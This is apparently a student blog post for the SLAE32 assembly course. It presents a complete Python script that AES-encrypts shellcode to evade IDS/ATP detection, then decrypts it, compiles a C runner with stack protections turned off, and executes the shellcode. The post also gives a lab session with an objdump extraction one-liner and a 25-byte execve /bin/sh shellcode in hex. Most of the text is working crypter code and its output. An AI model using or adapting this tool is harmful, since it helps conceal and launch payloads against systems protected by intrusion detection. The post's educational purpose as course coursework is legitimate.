AES Block Cipher script for Shellcodes
Introduction
I think the best way to obfuscate shellcodes to avoid IDS/ATP protection is the polyphormism method, but also encrypting the shellcode could be a valid alternative to bypass those control systems. There are a lot of cipher algorithms outside to choose for this purpose but we need considering some aspects in this case. First we need a strong algorithm to prevent bruteforce on key or frequency analysys attack on ciphered text, second we need our implementation easy to write, easy to use and fast on encrypting/decrypting operations.
First of all we need to choose if we want to implement a stream or block cipher, let’s look at some features:
1. | Block Cipher Converts the plain text into cipher text by taking plain text’s block at a time. | Stream Cipher Converts the plaint text into cipher text by taking 1 byte of plain text at a time. |
2. | The complexity of block cipher is simple. | Stream cipher is more complex. |
3. | Block cipher uses confusion as well as diffusion. | Stream cipher uses only confusion. |
There are many other features to list but this isn’t the scope of this post. If you want to deep learn informations on block and stream ciphers I suggest to read this book.
We choosed a block cipher algorithm. Next decisiom to make is what block cipher algorithm? According to Wikipedia there are a lot of block cipher but one in particular is adopted by the NIST, the Advanced Encryption Standard (AES), wich could encrypt plain text block with a maximum 256 byte key size.
Implementation
Sometimes ago i wrote a python script for my Github Redteam toolbox that works with block ciphers (AES, DES and 3DES).
So we’ve only to make some small changes on this script to make it operational on encrypting/decrypting and executing shellcode.
The original script works with OFB variant of the AES algorithm that means that i’ve to use alway a different Initiator Vector (IV).
In this case we work with CBC mode so the IV could be a fixed 16 bytes string.
However the main change to make is to add a function that execute our shellcode once it is decrypted.
Taking note that this script works only with python2, here’s the code.
#!/usr/bin/python
# AES Block Cipher script for shellcodes
# Author: @bolonobolo
# Date: 2019/10/18
from Crypto.Cipher import AES
from base64 import b64encode,b64decode
import random
import string
import os
def getMode():
while True:
print ("Welcome to AES Block Cipher script for shellcodes")
print("Do you wish do (e)ncrypt, (d)ecrypt or e(x)ecute?")
mode = raw_input().lower()
if mode in "encrypt e decrypt d execute x".split():
return mode
else:
print('Enter either "encrypt" or "e", "decrypt" or "d", "execute" or "x".')
def getMessage():
print("Enter the text")
return raw_input()
def getKey():
print("Enter the key")
return raw_input()
def getIV():
# 16 byte iv
iv = "0123456789abcdef"
return iv
def genkey(length):
key = []
# in ascii one letter = 8 bit = 1 byte
# AES needs 128, 192, or 256 bits, i choosed 256 256/8 = 32
for _ in range (0,length):
key.append(random.SystemRandom().choice(
string.ascii_uppercase + string.ascii_lowercase + string.digits
))
return ''.join(key)
def aes(cipher, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher
def padding(size, text):
while len(text) % size != 0:
text += " "
return text
def cipherAlgo(key, text, size, iv):
cipher = aes("aes", key, iv)
text = padding(size, text)
text = cipher.encrypt(text)
msg = b64encode(text)
return msg
def decipherAlgo(key, text, iv):
cipher = aes("aes", key, iv)
text = b64decode(text)
msg = cipher.decrypt(text)
return msg
def executeAlgo(code):
code = code.replace(" ", "") # eventualy clean code from blank spaces
file = open("shellcode.c", "w")
file.write('''
#include<stdio.h>
#include<string.h>
unsigned char code[] = \"''' + code + '''";
void main() {
printf(\"Shellcode Length: %d\\n\", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}'''
)
file.close()
os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode 2>/dev/null")
os.system("./shellcode")
def main():
mode = getMode()
text = getMessage()
iv = getIV()
if mode[0] == "e":
key = genkey(32) # 256 bits of key
size = 16 # block size has to be 16 bytes
msg = cipherAlgo(key, text, size, iv)
print("Encrypted shellcode: %s" % (msg))
print("The key is: %s" % (key))
elif mode[0] == "d":
key = getKey()
msg = decipherAlgo(key, text, iv)
print("Decrypted shellcode: %s" % (msg))
elif mode[0] == "x":
key = getKey()
msg = decipherAlgo(key, text, iv)
print("Decrypted shellcode: %s" % (msg))
executeAlgo(msg)
if __name__ == '__main__':
main()
Simple usage
Theentire workflow is very simple, first we need to extract the hexadecimal values of our shellcode with objdump
command, next we launch the script choosing the encrypt
option, paste our hex string, press enter and obtain the encrypted string and the key.
Now we can relauch the script but this time we’ll choose the execute
option that decrypt the encrypted shellcode, write a C executer, compile it and execute it.
root@slae32-lab:# objdump -d ../6_polimorphism/execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
root@slae32-lab:# ./aes_executor.py
Welcome to AES Block Cipher script for shellcodes
Do you wish do (e)ncrypt, (d)ecrypt or e(x)ecute?
e
Enter the text
\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80
Encrypted shellcode: 2QYEdFCoEH6s9iEa0+57BRONKsF4Ufr71I5mncYiKy2F0X2mupdgtFUKejUn5fUTMk303rxkePzjeDdOyzG1jyjNDn1CyWLYvugabvARSmb0q7PCIO4RA0l1/s/LuVWlvudmXFZrqa7d9VvXDH6QHQ==
The key is: PQZic8H9KiuMrAv2n0Y26cqWkH9CQiAv
root@slae32-lab:# ./aes_executor.py
Welcome to AES Block Cipher script for shellcodes
Do you wish do (e)ncrypt, (d)ecrypt or e(x)ecute?
x
Enter the text
2QYEdFCoEH6s9iEa0+57BRONKsF4Ufr71I5mncYiKy2F0X2mupdgtFUKejUn5fUTMk303rxkePzjeDdOyzG1jyjNDn1CyWLYvugabvARSmb0q7PCIO4RA0l1/s/LuVWlvudmXFZrqa7d9VvXDH6QHQ==
Enter the key
PQZic8H9KiuMrAv2n0Y26cqWkH9CQiAv
Decrypted shellcode: \x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80
Shellcode Length: 25
# exit
root@slae32-lab:# ls
aes_executor.py shellcode shellcode.c
For our test we choose the last 25 bytes execve /bin/sh shellcode.
Nice!
All the codes used in this post are available in my dedicated github repo.
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476